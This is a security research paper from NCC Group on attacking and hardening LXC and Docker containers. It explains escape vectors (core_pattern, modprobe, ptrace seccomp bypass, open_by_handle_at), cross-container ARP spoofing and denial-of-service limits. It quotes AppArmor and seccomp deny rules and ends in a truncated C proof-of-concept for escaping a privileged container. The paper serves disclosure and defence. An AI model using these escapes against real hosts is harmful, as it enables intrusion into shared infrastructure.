An NCC Group Publication

Abusing Privileged and Unprivileged Linux Containers

Prepared by:
Jesse Hertz

Contents

Introduction

Containers have become increasingly relevant to developers and system administrators for a number of functions. They are used as security measures to isolate processes, as distribution methods for software to guarantee reproducibility, as devops tools for testing and deploying code, and as building blocks for an ecosystem of developer-oriented Platform-as-a-Service (PaaS) products. This paper will examine some of the security mechanisms behind containers and show how they can be exploited. Although the focus of this paper will primarily be LXC, and will discuss Docker, this paper will demonstrate many techniques that are applicable across any Linux container system built on the same foundations.

Overview of Container Security

Containers vs. Virtualization

Containers offer a number of advantages and disadvantages compared to virtualization. In most virtualization approaches, a virtual machine (VM) image, representing virtualized filesystems and the state of the machine's memory, is run by the host. To do this, the host wholly emulates the hardware provided to the virtual machine, so the VM runs as if it is on separate hardware. In comparison, containers share a kernel with the host operating system, and the kernel isolates the processes running inside the container using various namespaces. In this way, processes running inside the container appear to run on an isolated Linux host, but in actuality are just "namespaced" processes inside a shared host.

Namespaces

Many Linux namespace features were designed with the goal of making container systems useable and secure [1] [2]. The kernel provides a number of namespaces [3] that form the core of modern containerization systems:

IPC	Provides namespaced versions of SystemV IPC and POSIX message queues. While keeping these IPC mechanisms isolated is important to secure processes that use them, overall they won't be particularly security relevant for the purposes of this paper. A later section discusses "Denial of Service Attacks" against these systems..
Network	Provides a namespaced and isolated network stack. The majority of container use-cases involve networked services, so this will prove to be a core feature of containers. The section "NET_RAW abuse" will explore exploiting typical flaws in container networking.
Mount	Provides a namespaced view of mount points. Combined with the pivot_root(2) [4] syscall, this will be used to isolate the container's filesystem from the host's filesystem. The section "The Issue With open_by_handle_at()", will go over a flaw in this implementation, how it can be exploited, and how this exploitation is prevented in modern container systems.
PID	Provides a namespaced tree of process IDs (PIDs). This allows each container to have a full isolated process tree, in which it has an 'init' process that it runs as PID 1 inside this namespace. Processes running in a container will have a different PID on the host than they do inside the container's PID namespace. A vulnerability that impacts this namespace will be covered in "PID Namespacing Info-Leak" later in this paper.

User	Provides a namespaced version of User IDs (UIDs) and Group IDs (GIDs). This is one of the most important features of modern container systems, as it is used to provide "unprivileged containers". These are containers in which root (UID 0) inside the container is not root outside the container, greatly increasing the container's security. User namespaces are a relatively large and new kernel feature, and have introduced new vulnerabilities in their infancy [5]. They also have some contradictory design goals with Linux capabilities (notably that a user receives a full set of root capabilities in their new user namespace [6]). It is, therefore, extremely important that system calls and security logic be "namespace aware", as checking a capability in the wrong namespace leads to vulnerabilities such as the "CLONE_NEWUSER|CLONE_FS" root exploit [5]. User namespaces provide one of the bedrocks of modern Linux container systems, and are the only container configuration that LXC considers secure [7]. In a recent release of Docker Engine (1.10), support for user namespaces has been added [8], although it is not enabled by default. The section "Abusing Unprivileged Containers" will cover ways containers can be exploited even with user namespaces enabled.
UTS	Provides a namespaced version of system identifiers. While this namespace is not particularly security relevant, it is quite useful to provide container-specific hostnames.

Other Container-Relevant Linux Security Features

A number of other Linux kernel features are involved in the security of a container system (especially before/without user namespaces):

Cgroups	Cgroups [9] (short for control groups) provide a hierarchical interface for managing and metering resources and device access. Cgroups can be used by higher privileged processes to put limits on lower privileged processes' memory usage, CPU usage, and block device IO. They can also be used in conjunction with iptables in order to provide traffic shaping. Most importantly, they are used in container system to control access to devices [10] [11] [12].
Capabilities	Linux capabilities [13] were introduced as a way to break the role of root down into discrete subsections, which could be granted to non-root processes to allow them to perform privileged actions. A process has a concept of a "permitted set" of capabilities, which acts as a limiting superset for the capabilities it can have. Importantly, and by default, this bounding set is carried over to any child process, so the "init" process of the container creates a limiting set of capabilities for all processes inside the container (as all processes descend from PID 1). It is worth noting that, by default, Docker drops many more capabilities [12] than LXC does [14] for privileged containers.
MAC	Linux Security Modules (LSMs) [15] provide security hooks for Mandatory Access Control (MAC) systems. AppArmor [16] is the most prevalent LSM in container systems, and is the system this paper will discuss. AppArmor profiles can greatly limit the actions that a given program can take, as well as take complex actions on process-start (such as performing pivot_root()'s, and otherwise manipulating the mount namespace). Both LXC and Docker ship, and enable by default, profiles to establish essential security barriers and defense in depth (particularly for privileged containers). Vulnerabilities that would be possible without AppArmor (or with a weak profile) will be explored in the section "The Importance of AppArmor".

	While AppArmor is not the only LSM that can be used by container systems (SELinux is also supported by LXC [17] and Docker [18]), AppArmor is by far the most well supported and documented. It is the default MAC used by both LXC and Docker. Due to the simplicity of the AppArmor syntax, it is also far easier to use to create customized, per-container profiles.
Seccomp	Seccomp [19] is a mechanism for system call filtering. Seccomp policies come in two versions. In version one, a filter is a small set of allowed system calls which cannot be customized, this is also referred to as the "Strict" mode. In version two, "Filter mode", system call filters are written as Berkeley Packet Filter (BPF) programs. This allows more finely-grained policies to be set on system call usage (with some caveats, seccomp-bpf filters can inspect syscall arguments, but cannot dereference pointers [19]). LXC currently uses a relatively simple policy [20], while the 1.10 release of Docker has introduced support for seccomp-bpf , as well as providing a fairly comprehensive example filter [21]. Note that on Docker 1.10, seccomp is not used by default on trusty (as discussed here: https://github.com/docker/docker/issues/22870) . The section "The ptrace(2) Hole" will discuss bypassing seccomp.

The Importance of AppArmor

By examining segments of the AppArmor policy in use by LXC, several "historical" (or theoretical) container breakouts can be understood, providing insight into the need for AppArmor (for the full policies, see [22] for LXC, and [23] for Docker).

Docker blocks many of these attacks by mounting /sys and parts of /proc as read-only filesystems, rather than (or in addition to) using AppArmor. Note that with the addition of user namespaces, some of these policies have become defense-in-depth measures, as kernel namespaces should prevent the actions without the presence of AppArmor (as long as the container has limited capabilities in the root user namespace).

Mount Options

First up are the AppArmor policies to block access to mounting devpts filesystems. As the comment below states, without this the container could remount /dev/pts and get access to the host's terminals.

```
# the container may never be allowed to mount devpts.  If it does, it
# will remount the host's devpts.  We could allow it to do it with
# the newinstance option (but, right now, we don't).
deny mount fstype=devpts,
```

Next are policies to stop the container from attempting to remount the root filesystem. This is mainly done as a defense-in-depth measure.

```
# ignore DENIED message on / remount
deny mount options=(ro, remount) -> /,
deny mount options=(ro, remount, silent) -> /,
```

Utility Changes

There are a number of dangerous places in /proc and /sys that allow trivial container escapes. All of the following involve changing the location of a utility (such as modprobe) that the host will call when certain events happen (such as a kernel module load request). By changing this to point to a program within our container, an attacker can then cause the host to run an arbitrary piece of code outside the container.

LXC uses the following ruleset to block these attacks. Note this is not an AppArmor profile, it is the input to a small python script [24] which generates a long portion of AppArmor rules. The full profile generated by this is at [25].

```
# Run lxc-generate-aa-rules.py on this file after any modification, to generate
# the container-rules file which is appended to container-base.in to create the
# final abstractions/container-base.

block /sys
allow /sys/fs/cgroup/**
allow /sys/devices/virtual/net/**
allow /sys/class/net/**
block /proc/sys
allow /proc/sys/kernel/shm*
allow /proc/sys/kernel/sem*
allow /proc/sys/kernel/msg*
allow /proc/sys/kernel/hostname
allow /proc/sys/kernel/domainname
allow /proc/sys/net/**
```

So what are the important vectors being blocked?

- **uevent_helper:** uevents are events triggered by the kernel when a device is added or removed [26]. Notably, the path for the "uevent_helper" can be modified by writing to "/sys/kernel/uevent_helper". Then, when a uevent is triggered (which can also be done from userland by writing to files such as "/sys/class/mem/null/event"), the malicious uevent_helper gets executed. A nice write-up with example code is available online [27].
- **modprobe:** modprobe [28] is a userland utility invoked when the kernel needs to load a kernel module. Its location can be changed by modifying "/proc/sys/kernel/modprobe" [29], and then code execution can be gained by performing any action which will trigger the kernel to attempt to load a kernel module (such as using the crypto-API to load a currently unloaded crypto-module, or using ifconfig to load a networking module for a device not currently used).
- **core_pattern:** core_patterns are usually used to tell the kernel how to name and format the core dumps that are produced when a program crashes. However, they contain a terrific feature [30]: "Since kernel 2.6.19, Linux supports an alternate syntax for the *\/proc/sys/kernel/core_pattern* file. If the first character of this file is a pipe symbol (**|**), then the remainder of the line is interpreted as a program to be executed. Instead of being written to a disk file, the core dump is given as standard input to the program." Using this, a core_pattern can be specified that invokes a program of our choice, and then to trigger its usage, you only need to have a program crash.
- **/proc/sys/vm/panic_on_oom:** This is a global flag that determines whether the kernel will panic when an Out of Memory (OOM) condition is hit (rather than invoking the OOM killer). This opens up a relatively simple denial-of-service attack.

Dangerous Paths

```
# block some other dangerous paths
  deny @{PROC}/kcore rwklx,
  deny @{PROC}/kmem rwklx,
  deny @{PROC}/mem rwklx,
  deny @{PROC}/sysrq-trigger rwklx,
```

- **kcore:** kcore provides a full dump of the physical memory of the system in the core file format [31]. It does not allow writing to said memory. Access to this allows a container to trivially read all of host memory.
- **kmem:** /proc/kmem is an alternate interface for /dev/kmem [32] (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing kernel virtual memory. It allows both reading and writing, allowing direct modification of kernel memory.
- **mem:** /proc/mem is an alternate interface for /dev/mem [32] (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing physical memory of the system. It allows both reading and writing, allowing modification of all memory. (It requires slightly more finesse than kmem, as virtual addresses need to be resolved to physical addresses first).
- **sysrq-trigger:** Writing to this special file allows sending System Request Key commands [33], which allow a number of privileged actions, such as killing processes, listing all processes on the system, or triggering host reboot [34].

The final important section blocks writes to several different places which could be dangerous:

```
# deny writes in /sys except for /sys/fs/cgroup, also allow
# fusectl, securityfs and debugfs to be mounted there (read-only)
deny mount fstype=debugfs -> /var/lib/ureadahead/debugfs/,
deny /sys/firmware/efi/efivars/** rwklx,
deny /sys/kernel/security/** rwklx,
deny @{PROC}/sys/fs/** wklx,
```

- **debugfs:** debugfs provides a "no rules" interface by which the kernel (or kernel modules) can create debugging interfaces accessible to userland [35]. It has had a number of security issues in the past [36], and the "no rules" guidelines behind the filesystem have often clashed with security constraints [37]. Inside an LXC container, it is mounted read-only.
- **/sys/firmware/efi/efivars:** efivars provides an interface to write to the NVRAM used for UEFI boot arguments [38]. Modifying them can render the host machine unbootable (and has in some recent systems [39]) .
- **/sys/kernel/security:** Mounted here is the securityfs interface, which allows configuration of Linux Security Modules [40]. Most relevant for our purposes, this allows configuration of AppArmor policies [41], and so access to this may allow a container to disable its MAC system.
- **/proc/sys/fs:** From the RedHat manpages [42]: "This directory contains an array of options and information concerning various aspects of the file system, including quota, file handle, inode, and dentry information." Write access to this directory would allow various denial-of-service attacks against the host.

The Importance of Seccomp

Seccomp-BPF allows for configurable filtering of dangerous system calls. For several versions now, LXC has shipped with a very small and simple seccomp policy [20], which is illustrated below. With the Docker 1.10 release, Docker introduced a much more complex policy [21] (which is used by default on certain platforms in 1.10).

```
2
blacklist
reject_force_umount  # comment this to allow umount -f;  not recommended
[all]
kexec_load errno 1
open_by_handle_at errno 1
init_module errno 1
finit_module errno 1
delete_module errno 1
```

The first piece of the LXC policy is intended as a defense in depth measure to stop containers from forcibly unmounting pieces of their filesystem, which may have security consequences. The more interesting section is the blacklisting of certain dangerous syscalls:

Kernel Manipulation

Several system calls which allow manipulating kernel modules are banned (init_module(2), finit_module(2), and delete_module(2)), as well as kexec_load(2), which allows replacing the currently running kernel with a new kernel image. Note that there is some defense in depth against exploiting these in privileged containers:

- **init_module(2)** [43]**, finit_module(2)** [44] **and delete_module(2)** [45]**:** These all require the SYS_MODULE capability, which is dropped by Docker and LXC in privileged containers.
- **kexec_load(2)** [46]**:** kexec_load(2) does not require SYS_MODULE. Instead, it requires SYS_BOOT, which privileged LXC containers retain. In most situations, this isn't exploitable (without bypassing seccomp), however it is worth noting Linux 3.17 introduced a new kexec variant: kexec_file_load(2) [46]. This call (meant for loading signed kernels) is not on the seccomp blacklist for a privileged LXC container, and only requires SYS_BOOT. However, privileged LXC containers have a number of other issues allowing reliable container escape without needing to boot into a new kernel (since we can in fact bypass seccomp! For the eager reader, feel free to head right to 'The ptrace(2) Hole' and 'Appendix: Privileged LXC Escape PoC').

The Issue With open_by_handle_at()

open_by_handle_at(2) [47] is an interesting system call. It was originally introduced into the kernel to support userspace file servers. This was desired so that processes could easily pass unique file identifiers between each other, rather than pass file descriptors over Unix Domain Sockets. However, open_by_handle_at(2) is a security nightmare. Any process with the capability DAC_READ_SEARCH can use open_by_handle_at(2) to gain access to any file, even files outside their mount namespace. The handle passed into open_by_handle_at(2) is intended to be an opaque identifier retrieved using name_to_handle_at(2) [47]. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer [48] (and branded as "Shocker"). At the time of its release, this affected both LXC and Docker (which was at the time powered by LXC). It also was an issue in OpenVZ [49] (another container system that has declined in popularity). Docker has mitigated this issue by dropping DAC_READ_SEARCH (as well as blocking access to open_by_handle_at(2) using seccomp). LXC mitigates this issue by using using user namespaces, and also by default blocks this system call through seccomp. This seccomp policy can be disabled in both privileged and unprivileged LXC containers using "The ptrace(2) Hole", so cautious users are advised to configure their unprivileged LXC containers to also drop DAC_READ_SEARCH (and also use seccomp to disable ptrace(2)). For a great write-up on how the "Shocker" exploit works, see [50]. In "Appendix: Privileged LXC Escape PoC", these mitigations are discussed in a bit more detail, and code is provided to escape a privileged LXC container by using ptrace(2) to bypass seccomp and then abusing open_by_handle_at(2).

Abusing Privileged Containers

SYS_RAWIO Abuse

From an analysis of capabilities not dropped by default inside privileged LXC containers, SYS_RAWIO stood out as abusable, since it is used all over the kernel in a number of security sensitive contexts. This led the author to the discovery of a container escape on LXC privileged containers [51], which was disclosed to the LXC team, who then added a security page to their site [7] in order to clarify that privileged containers are not considered secure. Newer versions of LXC now also drop SYS_RAWIO and have additional AppArmor rules to block access to /proc/bus.

From within a container, it is possible to access the "control regions" of devices attached to the host PCI bus by using the /proc/bus/pci/ interface. Access to this /proc/ interface requires the SYS_RAWIO capability. Even if this path in /proc was blocked through AppArmor, a container with SYS_RAWIO could still access this interface through the iopl(2)/ioperm(2) syscalls (and then using inb(2), outb(2) and friends [52] [53] to access the IO ports). Note that Docker is not vulnerable to this, since (aside from limited portions), /proc is typically mounted read-only, and SYS_RAWIO is dropped. For proof of concept code using this to send raw AHCI commands to the hard-disk, see Appendix: /proc/bus/pci .

In the response to this bug, the LXC team commented that they consider LXC privileged containers inherently unsafe, as there is a known and "unfixable" hole in LXC's privileged containers, involving ptrace(2) to bypass seccomp (also a known seccomp limitation, as discussed below).

The ptrace(2) Hole

Unfortunately, documentation on using ptrace(2) to bypass seccomp is rather sparse. It's mentioned in passing in a kernel mailing list thread [54], but perhaps the most definitive reference is this section of the kernel seccomp documentation [55] discussing using ptrace(2) to inspect system calls:

```
The seccomp check will not be run again after the tracer is
notified.  (This means that seccomp-based sandboxes MUST NOT
allow use of ptrace, even of other sandboxed processes, without
extreme care; ptracers can use this mechanism to escape.)
```

The "vulnerability" itself is a simple Time-of-Check-to-Time-of-Use (TOCTTOU) issue: seccomp filtering is applied before the tracer is notified (and before the syscall is actually triggered), so the tracer may modify the registers used in the system call (after they have been inspected by seccomp) to turn what was a benign system call into a malicious one. A clear demonstration of this is in Jann Horn's proof-of-concept code for bypassing a seccomp policy using ptrace(2) [56]. In "Appendix: Privileged LXC Escape PoC", you'll find a full proof-of-concept for an LXC privileged container escape, using the ptrace(2) hole to bypass seccomp, and then open_by_handle_at(2) in order to escape the container. Interestingly, the way Docker mitigates this issue is simply to disallow using ptrace(2) inside containers (using seccomp to block ptrace(2), as well as adding some minor defense-in-depth by dropping SYS_PTRACE). While seccomp can be disabled using ptrace(2) in LXC unprivileged containers, using open_by_handle_at(2) will fail, since the contained process lacks DAC_READ_SEARCH in the root namespace (see "Appendix: Privileged LXC Escape PoC" for a slightly more in-depth explanation). With the recent addition of user namespaces to Docker, it is possible that ptrace(2) will be allowed inside Docker containers in the future (although unlikely, given their recent focus on seccomp [8]).

Despite LXC privileged containers being inherently unsafe, in this author's opinion, finding privileged container breakouts can be a fun exercise (and often they can make privileged containers slightly more safe: e.g. after reporting the /proc/bus/ issue, new AppArmor rules were added and RAW_SYSIO was dropped by default). So to any interested readers, go forth and hunt! I'd love to hear about what you find.

Abusing Unprivileged Containers

The following section covers some known weaknesses in unprivileged containers, along with demonstrations on how they can be exploited. The following tests were performed on a default Docker 1.10 setup [57] (which, on trusty, does not use user namespaces or seccomp by default), as well as on a default LXC 1.08 setup [58] (which does use both user namespaces and seccomp by default) on a default Vagrant Ubuntu Trusty64 VM. While Docker containers started this way are not unprivileged, all the following attacks were found on an unprivileged LXC container, and then verified to work in (default, privileged) Docker as well.

PID Namespacing Info-Leak

While exploring unprivileged containers, the author discovered an interesting info-leak: the '/proc/sched_debug' file. This pseudo-file allows an unprivileged user to view debug information for the Linux scheduler, and is not PID-namespace aware. As such, it discloses the names and PIDs of all processes running on the system (and even what their task group (cgroup) is, making it easy to identify other containers on the system and what container system is in place). The author reported this info-leak to both Docker and LXC [59], and it was then patched in Docker [60].

While the next two issues have been documented before by other researchers, they represent subtly insecure defaults with large impacts, and so the author believes they merit further discussion. On a positive note, in response to disclosing these issues to the LXC team, they will be updating their security page to mention these issues [61], which should hopefully bring them to the attention of more developers and administrators using LXC.

NET_RAW abuse

A common configuration for companies offering PaaS solutions built on containers is to have multiple customers' containers running on the same physical host. By default, both LXC and Docker setup container networking so that all containers share the same Linux virtual bridge. These containers will be able to communicate with each other. Even if this direct network access is disabled (using the –icc=false flag for Docker, or using iptables rules for LXC), containers aren't restricted for link-layer traffic. In particular, it is possible (and in fact quite easy) to conduct an ARP spoofing attack on another container within the same host system, allowing full middle-person attacks of the targeted container's traffic. A full walkthrough of this attack is present in "Appendix: Cross-Container ARP Spoofing Walkthrough". The author reported this issue to both LXC and Docker [62] [63] . As referenced in the responses to the bug report, this is not a particularly new issue. It has been documented in both LXC [64] [65] [66] and Docker [67] [68] [69], as well as in other products such as OpenSwitch [70], and in OpenStack Neutron, where it was previously an issue [71] and then fixed [72]. The LXC team recommends a number of solutions [62], including:

- Using LXD with OpenStack to manage container networking
- Using libvirt to manage the MAC tables of bridges/containers
- Using a separate virtual bridge per trust zone or per container

The Docker team simply recommends dropping NET_RAW [63].

Denial of Service Attacks

User namespaces work by "sliding" UIDs between the user namespace (the container) and the root namespace (the host). For example, on a default LXC install, UID 0 inside the container becomes UID 100000 on the host. However, the default across both LXC and Docker is to use the **same** UID slide for all unprivileged containers. In other words: identical UIDs of processes inside different containers will translate to identical host UIDs, just shifted up by a constant slide (i.e. all processes running as root inside any container are running with UID `100000` on the host). This condition raises the possibility of per-user ulimits being hit, since these areas of the kernel are not user namespace aware. Note that these same denial-of-service (DoS) conditions occur without user namespaces as well (as the same condition of shared host UIDs applies). Examples demonstrating these issues are available in Appendix: Denial of Service Proofs-of-Concept Code.

- **Pending Signals:** This is a per-user limit on the maximum number of pending signals that can be queued among all a users' processes. A process running in one container can queue up the maximum number of pending signals, preventing processes in other containers from receiving pending signals. From testing, this affected both LXC and Docker.
- **Posix Message Queues:** This limits the maximum amount of kernel resources that can be used on POSIX message queues. A process running on one container can exhaust all available POSIX message queue memory, preventing processes in other containers from creating, or sending messages to, POSIX message queues. From testing, this worked on LXC and Docker.
- **Max User Processes:** This is a per-user limit on the maximum number of processes. This can easily be exploited to create a simple DoS against other containers, as well as (sometimes) the host. From testing, this attack was very successful on LXC (and was able to bring down my whole host), while on Docker was only was able to bring down all Docker containers (the host remained stable). Note that Linux 4.3 has added the ability to limit PID resources through cgroups [73] [74], which should make it easier for container systems to mitigate this issue (and in fact support for this cgroup has landed in Docker 1.11 [75]).
- **Max Files:** This is a per-user limit on the maximum number of file descriptors that can be open. On both LXC and Docker, this is an easy way to DoS other containers running on the same host.

Forgoing ulimits, two other DoS conditions are often exploitable in container systems:

- **Disk Space:** Perhaps (aside from a fork bomb) the simplest DoS against container systems is to fill up disk space. From testing, this worked on LXC and Docker. Unlike some of the other DoS attacks presented here, which may often bring down the host or introduce enough instability to make themselves difficult to clean up, this one offers the simplest ability to create a DoS and then clean it up quickly. Combined with the PID Namespacing Info-Leak, this could allow an attacker container to target other tenants on a shared host, selectively creating DoS conditions only when certain other containers or processes were running.
- **Global File Descriptor Limits:** The system maintains a limit on the maximum number of file descriptors available overall (available at /proc/sys/fs/file-max, which as was discussed earlier, containers cannot write to). If containers are not sharing a UID map, and have a ulimit set on the number of file descriptors they can open, a container can still attempt to DoS the host (and other containers) by opening the maximum number of FDs allowed as each user in its user namespace, providing a greatly amplified ability to consume FDs. This is generally a "last line" DoS, and would only be attempted if mitigations for other (simpler) vectors are put in place.

Conclusion

Container systems are rapidly improving their security, and, with their ease of use for developers, don't appear to be going away anytime soon. Both LXC and Docker offer products that (when used correctly) provide reasonably strong security and isolation for potentially hostile or compromised applications. However, neither of them is secure without proper configuration, especially in environments where multiple tenants are running on the same host, and so great care needs to be taken to secure and audit container systems. New products such as LXD [76], OpenStack [77], and Kubernetes [78] are attempting to provide "full" solutions for managing and securing containers. Coming from a different angle, Intel's Clear Container [79] [80] project aims to mix hardware virtualization with containers, improving speed, and eliminating the need for a shared kernel, through minimal hypervisors. As these systems continue to evolve, it seems likely that there will be both greatly improved base-hardening, as well as greatly expanded attack surfaces, so the future of container security is nothing if not interesting.

Acknowledgements

I'd like to thank Tim Newsham for the code in Appendix: Privileged LXC Escape PoC, Aaron Adams for code Appendix: /proc/bus/pci , Aaron Grattafiori for his help with reviewing content, Jeff Dileo for pointing out how to combine DoS and Infoleaks to cause great havoc, and Jake Heath, Jack Leadford, Justin Engler, and Jeremiah Blatz for their (heroic) efforts in copyediting my brain mush into a coherent paper.
Edit: I'd like to thank Brad Spengler of grsecurity and Nathan McCauley of Docker for pointing out some errors in the first public version of this paper, which have hopefully now been corrected.

Appendix Code

As many of the appendices contain long code segments, all code in the appendices has been published separately here: https://www.nccgroup.trust/poc-files/.

Further Reading

I highly recommend the following (in no particular order) for both understanding containers and container security:

- http://www.slideshare.net/jpetazzo/anatomy-of-a-container-namespaces-cgroups-some-filesystem-magic-linuxcon
- https://lwn.net/Articles/531114/
- http://www.haifux.org/lectures/299/netLec7.pdf
- https://www.stgraber.org/2013/12/20/lxc-1-0-blog-post-series/
- https://major.io/wp-content/uploads/2015/08/Securing-Linux-Containers-GCUX-Gold-Paper-Major-Hayden.pdf
- http://arxiv.org/pdf/1501.02967.pdf
- https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2016/april/ncc_group_understanding_hardening_linux_containers-10pdf

References

[1] https://lwn.net/Articles/531114/.

[2] https://lwn.net/Articles/524952/.

[3] http://man7.org/linux/man-pages/man7/namespaces.7.html.

[4] https://deis.com/blog/2015/isolation-linux-containers.

[5] http://lwn.net/Articles/543273/.

[6] https://medium.com/@ewindisch/linux-user-namespaces-might-not-be-secure-enough-a-k-a-subverting-posix-capabilities-f1c4ae19cad#.tboeuds6z.

[7] https://linuxcontainers.org/lxc/security/.

[8] https://blog.docker.com/2016/02/docker-engine-1-10-security/.

[9] https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Resource_Management_Guide/ch01.html.

[10] http://www.slideshare.net/jpetazzo/anatomy-of-a-container-namespaces-cgroups-some-filesystem-magic-linuxcon.

[11] https://github.com/lxc/lxc/blob/master/config/templates/common.conf.in#L21.

[12] https://github.com/opencontainers/runc/blob/master/libcontainer/SPEC.md.

[13] http://man7.org/linux/man-pages/man7/capabilities.7.html.

[14] https://github.com/lxc/lxc/blob/master/config/templates/common.conf.in#L13.

[15] https://www.kernel.org/doc/Documentation/security/LSM.txt.

[16] https://wiki.ubuntu.com/AppArmor.

[17] http://man7.org/linux/man-pages/man5/lxc.container.conf.5.html.

[18] https://docs.docker.com/engine/security/security.

[19] *https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt.*

[20] https://github.com/lxc/lxc/blob/master/config/templates/common.seccomp.

[21] https://github.com/jfrazelle/docker/blob/d34bbb66d5d5f2f07b8f0c1b63df5f058f20b436/daemon/execdriver/native/seccomp_default.go.

[22] https://github.com/lxc/lxc/blob/master/config/apparmor/abstractions/container-base.

[23] https://github.com/docker/docker/blob/master/profiles/apparmor/template.go.

[24] https://github.com/lxc/lxc/blob/master/config/apparmor/lxc-generate-aa-rules.py.

[25] https://github.com/lxc/lxc/blob/master/config/apparmor/container-rules.

[26] http://www.mpipks-dresden.mpg.de/~mueller/docs/suse10.1/suselinux-manual_en/manual/sec.udev.kernel.html.

[27] http://blog.bofh.it/debian/id_413.

[28] http://linux.die.net/man/8/modprobe.

[29] http://kaivanov.blogspot.com/2010/09/all-you-need-to-know-about-procsys.html.

[30] http://man7.org/linux/man-pages/man5/core.5.html).

[31] https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/Reference_Guide/s2-proc-kcore.html.

[32] http://linux.die.net/man/4/kmem.

[33] https://www.centos.org/docs/5/html/5.1/Deployment_Guide/s2-proc-sysrq-trigger.html.

[34] https://www.kernel.org/doc/Documentation/sysrq.txt.

[35] https://www.kernel.org/doc/Documentation/filesystems/debugfs.txt.

[36] https://lwn.net/Articles/429323/.

[37] https://lwn.net/Articles/429321/.

[38] https://wiki.archlinux.org/index.php/Unified_Extensible_Firmware_Interface.

[39] http://www.phoronix.com/scan.php?page=news_item&px=UEFI-rm-root-directory.

[40] https://lwn.net/Articles/153366/.

[41] http://wiki.apparmor.net/index.php/Kernel_interfaces#securityfs_-_.2Fsys.2Fkernel.2Fsecurity.2Fapparmor.

[42] https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Deployment_Guide/s2-proc-dir-sys.html.

[43] http://man7.org/linux/man-pages/man2/init_module.2.html.

[44] http://linux.die.net/man/2/finit_module.

[45] http://man7.org/linux/man-pages/man2/delete_module.2.html.

[46] http://man7.org/linux/man-pages/man2/kexec_load.2.html.

[47] http://man7.org/linux/man-pages/man2/open_by_handle_at.2.html.

[48] http://www.openwall.com/lists/oss-security/2014/06/18/4.

[49] http://www.openwall.com/lists/oss-security/2014/06/24/16.

[50] https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3#.5omzcmg6z.

[51] https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1511197.

[52] http://www.tldp.org/HOWTO/IO-Port-Programming-2.html.

[53] http://linux.die.net/man/2/inb.

[54] https://lkml.org/lkml/2015/6/13/191.

[55] https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt.

[56] https://gist.github.com/thejh/8346f47e359adecd1d53.

[57] https://docs.docker.com/engine/installation/linux/ubuntulinux/.

[58] https://help.ubuntu.com/lts/serverguide/lxc.html.

[59] https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1549391.

[60] https://github.com/docker/docker/pull/21263.

[61] https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1548497/comments/3.

[62] https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1548497.

[63] *Email communications between the author and Diogo Mónica from Docker.*

[64] https://lists.linuxcontainers.org/pipermail/lxc-users/2011-May/002025.html.

[65] http://events.linuxfoundation.org/sites/events/files/slides/secure-lxc-networking.pdf.

[66] https://www.berrange.com/posts/2011/10/03/guest-mac-spoofing-denial-of-service-and-preventing-it-with-libvirt-and-kvm/.

[67] https://nyantec.com/en/2015/03/20/docker-networking-considered-harmful/.

[68] http://arxiv.org/pdf/1501.02967.pdf.

[69] https://github.com/docker/docker/issues/8951#issuecomment-61817262.

[70] http://people.clarkson.edu/~bullrl/classes/CS657/bullrl_CS657_project.pdf.

[71] https://bugs.launchpad.net/neutron/+bug/1274034.

[72] https://review.openstack.org/#/c/196986/.

[73] http://lxr.free-electrons.com/source/kernel/cgroup_pids.c?v=4.3.

[74] http://lists.openwall.net/linux-kernel/2015/04/12/7.

[75] https://github.com/docker/docker/pull/18697.

[76] https://linuxcontainers.org/lxd/.

[77] https://www.openstack.org/software/.

[78] https://github.com/kubernetes/kubernetes.

[79] https://clearlinux.org/features/clear-containers.

[80] https://lwn.net/Articles/644675/.

[81] http://lxr.free-electrons.com/source/fs/fhandle.c?v=3.14#L178.

[82] http://lxr.free-electrons.com/source/kernel/capability.c?v=3.14#L429.

[83] https://www.vagrantup.com/.

[84] https://atlas.hashicorp.com/ubuntu/boxes/trusty64.

[85] http://man7.org/linux/man-pages/man2/timer_create.2.html..

[86] https://www.vmware.com/products/workstation.

Appendix: Privileged LXC Escape PoC

The following code demonstrates how ptrace(2) can be used to bypass seccomp. This allows using open_by_handle_at(2), which allows escaping from a privileged container. While this technique can still be used to disable seccomp inside unprivileged LXC containers, a security check in the open_by_handle_at(2) system call will fail, due to the use of the `capable()` macro [81], which performs capability checks against the root user namespace [82]. This entire seccomp bypass vector is blocked by Docker by disallowing ptrace(2) inside containers:

```
/*
 * @author Tim Newsham
 * use ptrace to bypass seccomp rule against open_handle_at
 * and use open_handle_at to get a handle on the REAL root dir
 * and then chroot to it. This escapes privileged lxc container.
 * gcc -g -Wall secopenchroot.c -o secopenchroot
 * ./secopenchroot /tmp "02 00 00 00 00 00 00 00"
 *
 * assuming that the real root has file handle "02 00 00 00 00 00 00 00"
*/

#include <stdio.h>
#include <stdlib.h>
#include <syscall.h>
#include <errno.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <linux/kexec.h>
#include <sys/user.h>

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#define _GNU_SOURCE
#define __USE_GNU
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int getDat(char *p, unsigned char *buf)
{
    char *ep;
    int n, val;

    n = 0;
    while(*p) {
        while(isspace(*p)) p++;
        val = strtoul(p, &ep, 16);
        if(ep != p + 2)
            return -1;
        p = ep;
        buf[n++] = val;
        while(isspace(*p)) p++;
    }
    return n;
}

void attack(char *fn, char *dat)
{
    unsigned char buf[16 + MAX_HANDLE_SZ];
    struct file_handle *fp = (struct file_handle *)buf;
    int n, mfd, fd;

    fp->handle_type = 1;
    n = getDat(dat, fp->f_handle);
    if(n == -1) {
        printf("bad data!\n");
        exit(1);
    }
    fp->handle_bytes = n;
    mfd = open(fn, 0);
    if(mfd == -1) {
        perror(fn);
        exit(1);
    }

